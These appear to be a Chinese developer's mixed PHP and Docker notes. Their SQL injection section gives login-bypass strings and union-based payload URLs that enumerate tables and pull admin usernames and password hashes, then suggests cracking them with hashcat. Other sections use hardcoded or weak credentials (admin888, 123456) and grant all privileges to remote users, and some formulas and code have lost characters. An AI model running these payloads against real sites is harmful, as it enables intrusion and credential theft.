php设计模式

单例模式

只创建一次对象,避免多次创建消耗内存

trait Singleton
{
    private static $instance;

    static function getInstance(...$args)
    {
        if(!isset(self::$instance)){
            self::$instance = new static(...$args);
        }
        return self::$instance;
    }
}

class A 
{
    use Singleton;
    public function test(){
        echo 234;
    }
}
调用:
A::getInstance()->test();

工厂模式

工厂方法或者类生成对象,而不是在代码中直接new。使用工厂模式,可以避免当改变某个类的名字或者方法之后,在调用这个类的所有的代码中都修改它的名字或者参数

Test.php
class Test{
    function test1(){
        echo 3333;
    }
}

Factory.php
class Factory{
        /*
         * 如果某个类在很多的文件中都new ClassName(),那么万一这个类的名字
         * 发生变更或者参数发生变化,如果不使用工厂模式,就需要修改每一个PHP
          * 代码,使用了工厂模式之后,只需要修改工厂类或者方法就可以了。
        */
        static function getTest(){
            include_once  'Test.php';
            $Test = new Test();
            return $Test;
        }

        /**
         * 当然也可以把单例和工厂一起使用,更加方便
         */
        static $oo = array(); 
        static function TestSingleton(){
            if (!is_object(self::$oo['test'])) {
                    include_once  'Test.php';
                    self::$oo['test'] = new Test();
            }
            return self::$oo['test'];
        }
    }

Test2.php 中调用
    include 'Factory.php';
    $Test =  Factory::getTest();
    $Test =  Factory::TestSingleton();
    $Test->test1();

注册模式

注册模式,解决全局共享和交换对象。已经创建好的对象,挂在到某个全局可以使用的数组上,在需要使用的时候,直接从该数组上获取即可。将对象注册到全局的树上。任何地方直接去访问。

    class Register
    {
        protected static  $objects;
        function set($alias,$object)//将对象注册到全局的树上
        {
            self::$objects[$alias]=$object;//将对象放到树上
        }
        static function get($name){
            return self::$objects[$name];//获取某个注册到树上的对象
        }
        function _unset($alias)
        {
            unset(self::$objects[$alias]);//移除某个注册到树上的对象。
        }
    }

适配器模式

将各种截然不同的函数接口封装成统一的API。PHP中的数据库操作有MySQL,MySQLi,PDO三种,可以用适配器模式统一成一致,使不同的数据库操作,统一成一样的API

接口 IDatabase
    namespace IMooc;
    interface IDatabase
    {
        function connect($host, $user, $passwd, $dbname);
        function query($sql);
        function close();
    }   
MySQL
    namespace IMooc\Database;
    use IMooc\IDatabase;
    class MySQL implements IDatabase
    {
        protected $conn;
        function connect($host, $user, $passwd, $dbname)
        {
            $conn = mysql_connect($host, $user, $passwd);
            mysql_select_db($dbname, $conn);
            $this->conn = $conn;
        }

        function query($sql)
        {
            $res = mysql_query($sql, $this->conn);
            return $res;
        }

        function close()
        {
            mysql_close($this->conn);
        }
    }
MySQLi
    namespace IMooc\Database;
    use IMooc\IDatabase;
    class MySQLi implements IDatabase
    {
        protected $conn;

        function connect($host, $user, $passwd, $dbname)
        {
            $conn = mysqli_connect($host, $user, $passwd, $dbname);
            $this->conn = $conn;
        }

        function query($sql)
        {
            return mysqli_query($this->conn, $sql);
        }

        function close()
        {
            mysqli_close($this->conn);
        }
    }   
PDO
    namespace IMooc\Database;
    use IMooc\IDatabase;
    class PDO implements IDatabase
    {
        protected $conn;
        function connect($host, $user, $passwd, $dbname)
        {
            $conn = new \PDO("mysql:host=$host;dbname=$dbname", $user, $passwd);
            $this->conn = $conn;
        }
    function query($sql)
        {
            return $this->conn->query($sql);
        }

        function close()
        {
            unset($this->conn);
        }
    }   
    通过以上案例,PHP与MySQL的数据库交互有三套API,在不同的场景下可能使用不同的API,那么开发好的代码,换一个环境,可能就要改变它的数据库API,那么就要改写所有的代码,使用适配器模式之后,就可以使用统一的API去屏蔽底层的API差异带来的环境改变之后需要改写代码的问题。        

策略模式

策略模式,将一组特定的行为和算法封装成类,以适应某些特定的上下文环境。
eg:假如有一个电商网站系统,针对男性女性用户要各自跳转到不同的商品类目,并且所有的广告位展示不同的广告。在传统的代码中,都是在系统中加入各种if else的判断,硬编码的方式。如果有一天增加了一种用户,就需要改写代码。使用策略模式,如果新增加一种用户类型,只需要增加一种策略就可以。其他所有的地方只需要使用不同的策略就可以

UserStrategy.php
    /*
     * 声明策略文件的接口,约定策略包含的行为。
     */
    interface UserStrategy
    {
        function showAd();
        function showCategory();
    }

FemaleUser.php
    require_once 'UserStrategy.php';
    class FemaleUser implements UserStrategy
    {
        function showAd(){
            echo "2016冬季女装";
        }
        function showCategory(){
            echo "女装";
        }
    }

MaleUser.php
    require_once 'Loader.php';
    class MaleUser implements UserStrategy
    {
        function showAd(){
            echo "IPhone6s";
        }
        function showCategory(){
            echo "电子产品";
        }
    }   
Page.php//执行文件
    if(isset($_GET['male'])){
        $strategy = new MaleUser();
    }else {
        $strategy = new FemaleUser();
    }
    $page->setStrategy($strategy);
    $page->index();
总结: 
通过以上方式,可以发现,在不同用户登录时显示不同的内容,但是解决了在显示时的硬编码的问题。如果要增加一种策略,只需要增加一种策略实现类,然后在入口文件中执行判断,传入这个类即可。实现了解耦。

观察者模式

1:观察者模式(Observer),当一个对象状态发生变化时,依赖它的对象全部会收到通知,并自动更新。

2:场景:一个事件发生后,要执行一连串更新操作。传统的编程方式,就是在事件的代码之后直接加入处理的逻辑。当更新的逻辑增多之后,代码会变得难以维护。这种方式是耦合的,侵入式的,增加新的逻辑需要修改事件的主体代码。

3:观察者模式实现了低耦合,非侵入式的通知与更新机制。

EventGenerator.php
    abstract class EventGenerator{
        private $observers = array();
        function addObserver(Observer $observer){
            $this->observers[]=$observer;
        }
        function notify(){
            foreach ($this->observers as $observer){
                $observer->update();
            }
        }
    }

Observer.php
interface Observer{
    function update();//这里就是在事件发生后要执行的逻辑
}

try.php
    //一个实现了EventGenerator抽象类的类,用于具体定义某个发生的事件
    require 'EventGenerator.php';
    require 'Observer.php';
    class Event extends EventGenerator{
        function triger(){
            echo "Event
"; } } class Observer1 implements Observer{ function update(){ echo "逻辑1
"; } } class Observer2 implements Observer{ function update(){ echo "逻辑2
"; } } $event = new Event(); $event->addObserver(new Observer1()); $event->addObserver(new Observer2()); $event->triger(); $event->notify();

装饰器模式

1:装饰器模式,可以动态的添加修改类的功能

2:一个类提供了一项功能,如果要在修改并添加额外的功能,传统的编程模式,需要写一个子类继承它,并重写实现类的方法

3:使用装饰器模式,仅需要在运行时添加一个装饰器对象即可实现,可以实现最大额灵活性。

原型模式

原型模式(对象克隆以避免创建对象时的消耗)

1:与工厂模式类似,都是用来创建对象。

2:与工厂模式的实现不同,原型模式是先创建好一个原型对象,然后通过clone原型对象来创建新的对象。这样就免去了类创建时重复的初始化操作。

3:原型模式适用于大对象的创建,创建一个大对象需要很大的开销,如果每次new就会消耗很大,原型模式仅需要内存拷贝即可。

php中的类关键字

trait / implements / interface / abstract / extends

trait

trait是php5.4以后新增加的一个功能,可以将多个类中,共用的一些属性和方法提取出来做来公共trait类,就像是装配汽车的配件,如果你的类中要用到这些配件,就直接用use导入就可以了,相当于把trait中的代码复制到当前类中.

 trait test {
    function helllo(){
        echo 'hello ';
    }
 } 
 class test2 {
    use test;
    function world(){
        echo 'world';
    }
 }
 $r = new test2;
 $r->hello();
 $r->world();

abstract 抽象类

abstract 定义的类 不仅可以有抽象函数,还可以有具体的函数实现
抽象类不能被直接实例化。
抽象类中只定义(或部分实现)子类需要的方法。
子类可以通过继承抽象类并通过实现抽象类中的所有抽象方法,使抽象类具体化
如果子类需要实例化,前提是它实现了抽象类中的所有抽象方法。
如果子类没有全部实现抽象类中的所有抽象方法,那么该子类也是一个抽象类,必须在 class 前面加上 abstract 关键字,并且不能被实例化

abstract class A {
    abstract public function method1();
    abstract public function method2();
    public function method3() {
        //... code ...
    }
}
class B extends A {   
    function test3(){
        echo 45454;
    }
    function method1(){}
    // function method2(){} 
}
注:上例中B没有全部实现A中的抽象方法,php就会报错
    php: error
    Class B contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (A::method2) in Standard input code

interface 接口

一种成员属性全部为抽象或常量的特殊抽象类。

接口其实是一种规范,在结构中规定一些方法,
但不用实现,目的是想让一个类来继承并实现它,严格来说不是继承,就是一个类来实现它。接口中除了方法声明外,还可以有常量

interface Computer{
  const CAND='78849';
  public function aaa();
  public function bbb();
} 
class noteBook implements Computer{
    public function aaa(){
          echo 'I am lilei';
    }
    public function bbb(){
          echo 'I am hanmeimei';
    }
}
也就是说接口规定方法名称,实现这个接口的子类中必须全部实现接口里面定义的方法

extends 继承

 子类继承父类就用 extends 关键字

implements

实现接口 和interface配合使用

mysql注入

用户名密码输入框注入

猜测我们的sql模型:

1: SELECT USER from database WHERE username ='admin' AND password =md5('xenu') limit 1
username :  a' or 1=1 --        注 :-- 是注释符,后面的都不会被解析
得到 : select * from database  where  username = 'a' or 1=1 -- ' and password = md5('xenu') limit 1;

2: select username,pass from users where username="$username" and password = md5('xenu') limit 0,1; 
username :  a" or 1=1 --        注 :-- 是注释符,后面的都不会被解析
得到 : select * from USER  where  username = "a" or 1=1 -- " and password = md5('xenu') limit 1;

访问url注入: index.php?uid=1

检查漏洞

index.php?uid=1'
加上一个‘,如果站点有做参数的校正,过滤,则会正常返回网页,否则会报错则表明站点存在漏洞

示例表

CREATE TABLE admin (
  uid int(10) unsigned NOT NULL AUTO_INCREMENT,
  username varchar(30) NOT NULL DEFAULT '' COMMENT '用户名',
  password varchar(50) NOT NULL DEFAULT '' COMMENT '密码',
  PRIMARY KEY (uid)
) ENGINE=InnoDB AUTO_INCREMENT=114 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;    

获取表有多少列

index.php?uid=5+group+by+3+--+  //+会被转移成空格
得到sql: select * from admin where id = 5 group by 3 --  
order by 3 可以用来查找当前表有多少列, order by 3 不抱错 4包错 则说明表中有3列 否则继续增加group by  的值
直到报错为止

获取版本号

由于上面我们知道了表的列数是3,所以下面我们可以用union 关键字来联合查询
index.php?uid=1+union+all+select+version(),+2,+3+--+
得到 : select * from admin where uid = 1 union all select version(), 2, 3 -- 

获取当前库的所有表名

index.php?uid=1+union+all+select+table_name,+2,+3+from+information_schema.tables+--+
得到: select * from admin where uid = 1 union all select table_name, 2, 3 from information_schema.tables -- 

获取当前库所有的列字段

index.php?uid=1+union+all+select+table_name,+2,+3+from+information_schema.columns+--+ 
得到: select * from admin where uid = 1 union all select column_name, 2, 3 from information_schema.columns -- 
这个数据量太大,没啥意义

获取制定表的字段

index.php?uid=1+union+all+select+column_name,+2,+3+from+information_schema.columns++WHERE+table_name='admin' --+     
得到: select * from admin where uid = 1 union all select column_name, 2, 3 from information_schema.columns WHERE table_name='admin' -- 

查找用户名和密码 concat 字符串拼接函数

index.php?uid=1+union+all+select+concat(username,0x3a,password),+2,+3+from+admin+--+
得到: select * from admin where uid = 1 union all select concat(username,0x3a,password), 2, 3 from admin-- 
admin:9F14974D57DE204E37C11AEAC3EE4940

用特定工具尝试破解密码

这里密码是哈希的,在这种情况下,它是MD5。 现在你需要得到像hashcat,passwordpro(等)一样的哈希破解程序并破解哈希。 哈希值可能与SHA1,MD5等不同。或者有时可能会在页面上显示明文密码。

网速,带宽,并发量的关系

字节B 和位b的关系

一个字节(Byte)等于8位(bit)
例如 : 0001 0001 这就是一个字节,里面有8位0或1组成
1Byte = 8bit
网络运营商所说的多少兆宽带,1Mbps : 每秒钟传输1Mb的数据 。注意这里用到的是小b 而不是B
而我们通常所说的网速是 多少kB/s 或者多少MB/s 这里用的是B
所以带宽和网速的关系就是 : 带宽是网速的八倍
1Mb = 1024kb = 1024/8 kB = 128kB
一兆带宽是理论 上是 1Mb/s= 128KB/s

带宽 和并发的关系

首先我们要明白, 50兆的带宽即 50Mbps 带宽使用率并不是
完全占满才效果更好,而是像我们的电脑cpu 如果使用率越高,
电脑越来卡,同样带宽也是,带宽占用越多就会越拥挤或者说越堵塞,
经验来说,大约70%的使用率是稳定的网络

50Mbps 0.7 = 35Mbps (70%的使用是稳定的网络)
35Mbps = 35
1024kb/s = 35 * 1024 / 8 kB/s = 4480kB/s
假设我们一个数据包的大小是10kB 那么我们的并发量 : 4480KB/s / 10KB = 448 /s
当然这里只是做的一个假设,具体的并发量还是跟数据包的大小有关的

推算一下公式 :
并发量 = 带宽(Mbps) 0.7 (1024 / 8) / 数据包(KB)

PHP 开启Authorization Header验证,及访问方法

使用Authorization 做登录验证

<?php
     $authorization = false;
     if($_SERVER['PHP_AUTH_USER'] == "admin" && $_SERVER['PHP_AUTH_PW'] == "admin888"){
         echo "login";
         $authorization = true;
         exit;
     }
     if(!$authorization){
        header("WWW-Authenticate:Basic realm='Private'");
        header('HTTP/1.0 401 Unauthorized');
        print "You are unauthorized to enter this area.";
     }

如何访问

1:浏览器访问,手动输入账号密码  
2:http://admin:admin888@test.yiihua.com/tool/test4.php
3:也可以使用 header 头存储密码 Authorization: Basic base64(帐号:密码)
例子 :

<?php
    function http_post($sUrl,$aHeader, $aData){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_URL, $sUrl);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($aData));
        $sResult = curl_exec($ch);
        if($sError=curl_error($ch)){
            die($sError);
        }
        curl_close($ch);
        return $sResult;
    }
    $url = 'http://test.yiihua.com/tool/test4.php';
    $header = array("Authorization: Basic ".base64_encode('admin:admin888'));
    $data = array(123);
    $data = http_post($url,$header,$data);
    var_dump($data);     

PHP中new static()与new self()的区别异同

self - 就是这个类,是代码段里面的这个类。

static - PHP 5.3加进来的只得是当前这个类,有点像$this的意思,从堆内存中提取出来,访问的是当前实例化的那个类,那么 static 代表的就是那个类。

差异应该在于new self是实例化当前代码所在类。new static是调用的的那个类,例如,MyTest继承了Test类, 那么当在MyTest中使用static的时候,这个static代表的就是MyTest,self代表的就是Test。

还是看看老外的专业解释吧:

self refers to the same class whose method the new operation takes place in.

static in PHP 5.3's late static bindings refers to whatever class in the hierarchy which you call the method on.

In the following example, B inherits both methods from A. self is bound to A because it's defined in A's implementation of the first method, whereas static is bound to the called class (also see  get_called_class() ).

class A {
public static function get_self() {
return new self();
}
public static function get_static() {
return new static();
}
}
class B extends A {}
echo get_class(B::get_self()); // A
echo get_class(B::get_static()); // B
echo get_class(A::get_static()); // A

composer.json文件理解及使用composer dump-autoload

composer.json

1.依赖管理

 require

5.3.*表示,可以使用5.3.1版本,也可以使用5.3.2版本,

"require": {
    "php": ">=5.6.4",

"erusev/parsedown": "^1.6",
    "laravel/framework": "5.4.*",
 "laravel/tinker": "~1.0",

"mockery/mockery": "0.9.*",

"swiftmailer/swiftmailer": 5.3.*@dev,@dev表示可以获取开发版本。通常,开发版本意味非稳定版本,很可能存在bug。稳定性标签可以作用于特定的依赖项,也可以作用于全局。},

全局稳定性设置:通过设置minimum-stability的值,来告诉Composer当前开发的项目的依赖要求的包的全局稳定性级别,它的值包括:dev、alpha、beta、RC、stable,stable是默认值。

2自动加载
//再此运行composer dump-autoload,尝试调用

"files": [
    "app/Helper/function.php"
]

"autoload":{

"files":["aa/bb.php”],////不需要命名空间

}

//files键对应的值是一个数组,数组元素是文件的路径,路径是相对于应用的根目录。加上上述内容后,运行命令:

 Classmap方式自动加载

通过文件引入的方法虽然直观,但是很费劲,每个文件都得引入一次,实在不是好的解决办法。有没有更好的办法呢?尝试将autoload的值改成:

 "classmap": [

    "database",

    "aa"

],

aa文件夹里面不要写命名空间

 PSR-4 加载方式 (最常用的方式)

FIG组织制定的一组PHP相关规范,简称PSR,其中

PSR-0自动加载 
PSR-1基本代码规范 
PSR-2代码样式 
PSR-3日志接口 
PSR-4 自动加载

"psr-4": { 
    "App\\": "app/",    //前面是命名空间,后面是目录结构
    "Models\\": "models/",
    "Persimmon\\": "app/Persimmon"
},

{

    "autoload": {

        "psr-4": {"Acme\\": "src/"}

    }

}

Composer 将注册一个PSR-4 autoloader  Acme 命名空间。

你可以定义一个从命名空间到目录的映射。此时 src 会在你项目的根目录,与 vendor 文件夹同级。例如 src/Foo.php 文件应该包含 Acme\Foo 类。

转载自:https://www.cnblogs.com/keiweila/p/7989432.html

PHP中,如何吧返回的json对象转数组

再爬取一些网页的时候,返回的数据经常是json对象,例如:

var json={rank:["0022562,002256,兆新股份,2.65,2.79,2.92,2.92,2.66,16703,590878,0.27,10.19%,2.83,9.81,100.00,196178,951,262080,328798,-1,0,0.00,0.94,4.25,-,001153|002538|003549|003571,2.92,-,2019-08-21 15:00:00,0,1882411872,5496642810,12.56"],pages:3694}

我们会发现大括号里面的内容对于php来说不是标准的json格式,所以我们得先处理下:

1: 提取我们需要的内容
$ret = explode("=", $data);
$str = $ret[1];

2: 正则匹配,替换成我们需要的数据形式
$str2 = preg_replace(["/([a-zA-Z_]+[a-zA-Z0-9_])\s:/", "/:\s'(.?)'/"], ['"\1":', ': "\1"'], $str);
得到结果如下:
{"rank":["0022562,002256,兆新股份,2.65,2.79,2.92,2.92,2.66,16703,590878,0.27,10.19%,2.83,9.81,100.00,196178,951,262080,328798,-1,0,0.00,0.94,4.25,-,001153|002538|003549|003571,2.92,-,2019-08-21 15:00:00,0,1882411872,5496642810,12.56"],"pages":3694}

3: $ret = json_decode($str2,true);

MAC 安装docker,docker使用方法

mac 安装

brew cask install docker

成功后目录 /Applications/Docker.app/Contents/Resources/bin/docker

设置环境变量

sudo vim /etc/profile (在文档最后,添加: export PATH="/Applications/Docker.app/Contents/Resources/bin:$PATH")
保存,退出,然后运行: source /etc/profile

查看安装版本 : docker --version

镜像加速 Docker for mac 应用图标 -> Perferences… -> Daemon -> Registry mirrors 添加 网易的镜像地址:http://hub-mirror.c.163.com

点击 Apply & Restart 按钮 最后用 docker info 查看 出现 : Registry Mirrors: http://hub-mirror.c.163.com 代表配置成功

docker 基本操作

docker run ubuntu:15.10 /bin/echo "Hello world"

各个参数解析:
    docker: Docker 的二进制执行文件。
    run:与前面的 docker 组合来运行一个容器。
    ubuntu:15.10指定要运行的镜像,Docker首先从本地主机上查找镜像是否存在,如果不存在,Docker 就会从镜像仓库 Docker Hub 下载公共镜像。
    /bin/echo "Hello world": 在启动的容器里执行的命令  

运行交互式的容器 我们通过docker的两个参数 -i -t,让docker运行的容器实现"对话"的能力

docker run -i -t ubuntu:15.10 /bin/bash

各个参数解析:
-t:在新容器内指定一个伪终端或终端。
-i:允许你对容器内的标准输入 (STDIN) 进行交互。

启动容器(后台模式)

docker run -d ubuntu:15.10 /bin/sh -c "while true; do echo hello world; sleep 1; done"

查看正在运行的 docker

docker ps

查看所有的历史 docker

docker ps -a 注: 不用每次使用都重新启动一个容器,这个命令可以查找上次使用过的容器

查看容器类标准输出 两种方式

docker logs 2b1b7a428627 (容器ID)
docker logs festive_bose (docker分配的容器名称)

停止容器

docker stop 2b1b7a428627

开始容器

docker start 2b1b7a428627

重启容器

docker restart 2b1b7a428627

重新进去已经拉起的容器

docker attach 2b1b7a428627

运行一个web应用

docker pull training/webapp  //载入镜像
docker run -d -P training/webapp python app.py   //后台运行一个Python应用
参数说明:
-d:让容器在后台运行。
-P:将容器内部使用的网络端口映射到我们使用的主机上。系统分配

docker info 查看信息

Docker 开放了 5000 端口(默认 Python Flask 端口)映射到主机端口 32768 上。
这里可以通过浏览器访问 : 127.0.0.1:32768 输出 : hello world

可以用 -p 设置不一样的端口 多个-p 可以映射多个端口

docker run -d -p 5000:5000 training/webapp python app.py

指定端口查看容器 docker port NAMES

日志查看 -f 类似于tail -f

docker logs -f NAMES

docker top 来查看容器内部运行的进程

docker top NAMES

使用 docker inspect 来查看 Docker 的底层信息。它会返回一个 JSON 文件记录着 Docker 容器的配置和状态信息

docker inspect bf08b7f2cd89

查看docker上所有的容器

docker ps -a

删除一个不需要的容器

docker rm NAMES

docker 镜像使用

显示本机上的所有镜像

docker images

获取新的镜像

docker pull ubuntu:15.10

查找镜像, 可以从 Docker Hub 上查找 网址为: https://hub.docker.com

也可以用docker search 命令来查找
例 : docker search httpd

删除本地镜像

docker rmi -f 29e03e314ace (从最新版本开始删除,否则会报错)

创建镜像

当我们从docker镜像仓库中下载的镜像不能满足我们的需求时,我们可以通过以下两种方式对本地镜像进行更改。
1.从已经创建的容器中更新镜像,并且提交这个镜像
2.使用 Dockerfile 指令来创建一个新的镜像

更新镜像

更新镜像之前,我们需要使用镜像来创建一个容器。
runoob@runoob:~$ docker run -t -i ubuntu:15.10 /bin/bash
root@e218edb10161:/#

在一系列骚操作后执行 : apt-get update 命令进行更新。
(如果当前版本已经过期 , 更新操作会报错
old-releases.ubuntu.com ,这是一个过期库的归档。因此,当Canonical支持的Ubuntu过期后,你必须把源切换到 old-releases.ubuntu.com
执行 :
sed -i -r 's/([a-z]{2}.)?archive.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list
sed -i -r 's/security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list

然后使用文本编辑器打开 /etc/apt/sources.list ,找到 extras.ubuntu.com,这个库也不再支持13.04。所以你需要使用 “#” 号注释掉 extras.ubuntu.com。
    #deb http://extras.ubuntu.com/ubuntu raring main
    #deb-src http://extras.ubuntu.com/ubuntu raring main

在完成操作之后,输入 exit命令来退出这个容器。
此时ID为e218edb10161的容器,是按我们的需求更改的容器。我们可以通过命令 docker commit来提交容器副本。

docker commit -m="has update" -a="czc" e218edb10161 czc/ubuntu:v2

各个参数说明:

-m:提交的描述信息

-a:指定镜像作者

e218edb10161:容器ID

czc/ubuntu:v2:指定要创建的目标镜像名

构建镜像

我们使用命令 docker build , 从零开始来创建一个新的镜像。为此,我们需要创建一个 Dockerfile 文件,其中包含一组指令来告诉 Docker 如何构建我们的镜像。
内容如下:
FROM centos:6.7
MAINTAINER Fisher "fisher@sudops.com"
RUN /bin/echo 'root:123456' |chpasswd
RUN useradd runoob
RUN /bin/echo 'runoob:123456' |chpasswd
RUN /bin/echo -e "LANG=\"en_US.UTF-8\"" >/etc/default/local
EXPOSE 22
EXPOSE 80
CMD /usr/sbin/sshd -D

每一个指令都会在镜像上创建一个新的层,每一个指令的前缀都必须是大写的。
第一条FROM,指定使用哪个镜像源
RUN 指令告诉docker 在镜像内执行命令,安装了什么。。。
然后,我们使用 Dockerfile 文件,通过 docker build 命令来构建一个镜像。
sudo docker build -t czc/centos:6.7 .
参数说明:
-t :指定要创建的目标镜像名
. :Dockerfile 文件所在目录,可以指定Dockerfile 的绝对路径

部署 nginx - php - mysql - phpMyAdmin

拉去相对应的镜像

docker pull php:7.2
docker pull nginx
docker pull mysql
docker pull phpmyadmin/phpmyadmin

注 : 由于编辑器bug,下面的 --name 和 --link 都是 两个'-' 显示成了一个

创建mysql 容器

sudo mkdir -p /Users/chuzhichao/docker/mysql/data /Users/chuzhichao/docker/mysql/logs /Users/chuzhichao/docker/mysql/conf
data 目录将映射为 mysql 容器配置的数据文件存放路径
logs 目录将映射为 mysql 容器的日志目录
conf 目录里的配置文件将映射为 mysql 容器的配置文件
命令 : docker run -p 3306:3306 --name chuzhichao-mysql -v /Users/chuzhichao/docker/mysql/logs:/logs -v /Users/chuzhichao/docker/mysql/data:/mysql_data -e MYSQL_ROOT_PASSWORD=123456 mysql

进入容器:
docker exec -it chuzhichao-mysql bash
登录mysql :
mysql -u root -p 123456
添加远程用户 :
CREATE USER 'chuzhichao'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
GRANT ALL PRIVILEGES ON . TO 'chuzhichao'@'%';

或者: ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';

创建关联文件夹

mkdir -p /Users/chuzhichao/docker/nginx/conf.d && mkdir /Users/chuzhichao/www && cd /Users/chuzhichao/docker/nginx/conf.d && sudo touch default.conf

创建php-fpm 容器

命令 : docker run --name chuzhichao-php -d -v /Users/chuzhichao/www:/var/www/html:ro --link chuzhichao-mysql:db php:7.2-fpm

解释 : --name chuzhichao-php 是容器的名字。
/Users/chuzhichao/www 是本地 php 文件的存储目录,/var/www/html 是容器内 php 文件的存储目录,
:ro 表示只读。
--link chuzhichao-mysql:db 这个参数就是告诉docker容器需要使用chuzhichao-mysql 容器,并将其别名为db,
这样在这两个容器里就可以使用“db”来作为提供mysql数据库服务的机器名,
所以在最后启动参数里我们使用的是“mysql -h db -u root -p ”来连接mysql数据库的。

创建nginx 容器

首先: 修改 default.conf
server {
listen 80;
server_name localhost;

            location / {
                root   /usr/share/nginx/html;
                index  index.html index.htm;
            }

            error_page   500 502 503 504  /50x.html;
            location = /50x.html {
                root   /usr/share/nginx/html;
            }

            location ~ \.php$ {
                fastcgi_pass   php:9000;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;
                include        fastcgi_params;
            }
        }   

解释 ; /var/www/html 是 chuzhichao-php 中 php 文件的存储路径,经 docker 映射,变成本地路径 /Users/chuzhichao/www

命令:
docker run --name chuzhichao-nginx -p 80:80 -d \
-v /Users/chuzhichao/www:/usr/share/nginx/html:ro \
-v /Users/chuzhichao/docker/nginx/conf.d:/etc/nginx/conf.d:ro \
--link chuzhichao-php:php \
nginx

解释: -p 80:80 用于添加端口映射,把 chuzhichao-nginx 中的 80 端口暴露出来。
/Users/chuzhichao/www 是本地 html 文件的存储目录,/usr/share/nginx/html 是容器内 html 文件的存储目录。
/Users/chuzhichao/docker/nginx/conf.d 是本地 nginx 配置文件的存储目录,/etc/nginx/conf.d 是容器内 nginx 配置文件的存储目录。
--link chuzhichao-php:php 把 chuzhichao-php 的网络并入 chuzhichao-nginx,并通过修改 chuzhichao-nginx 的 /etc/hosts,把域名 php 映射成 127.0.0.1,让 nginx 通过 php:9000 访问 php-fpm。

测试 : 在 /Users/chuzhichao/www 目录中添加index.php , index.html 访问 : http://127.0.0.1/index.php

创建 phpmyadmin 容器

docker run --name chuzhichao-myadmin -d --link chuzhichao-mysql:db -p 8080:80 phpmyadmin/phpmyadmin
测试 : 访问 http://127.0.0.1:8080/

配置swoole

拉取镜像 : docker hub上的环境为php7.1.30 + swoole4.4.3
docker pull easyswoole/easyswoole3

启动    : docker run -ti -p 9501:9501  -p 9502:9501    -v /Users/chuzhichao/easyswoole:/easyswoole        easyswoole/easyswoole3 
复制镜像内部代码 :  docker cp dfb920f228d5:/easyswoole  /Users/chuzhichao/    


-it 控制台启动容器
-p  配置映射端口, 可映射多个端口
-v  映射容器内文件到本地, 方便修改

备注 : 由于是控制台启动,所以不能用exit退出容器 , 直接关掉控制台就行  或者使用Ctrl+P+Q
       代码更新后重启容器  docker  restart 9422dbf0a863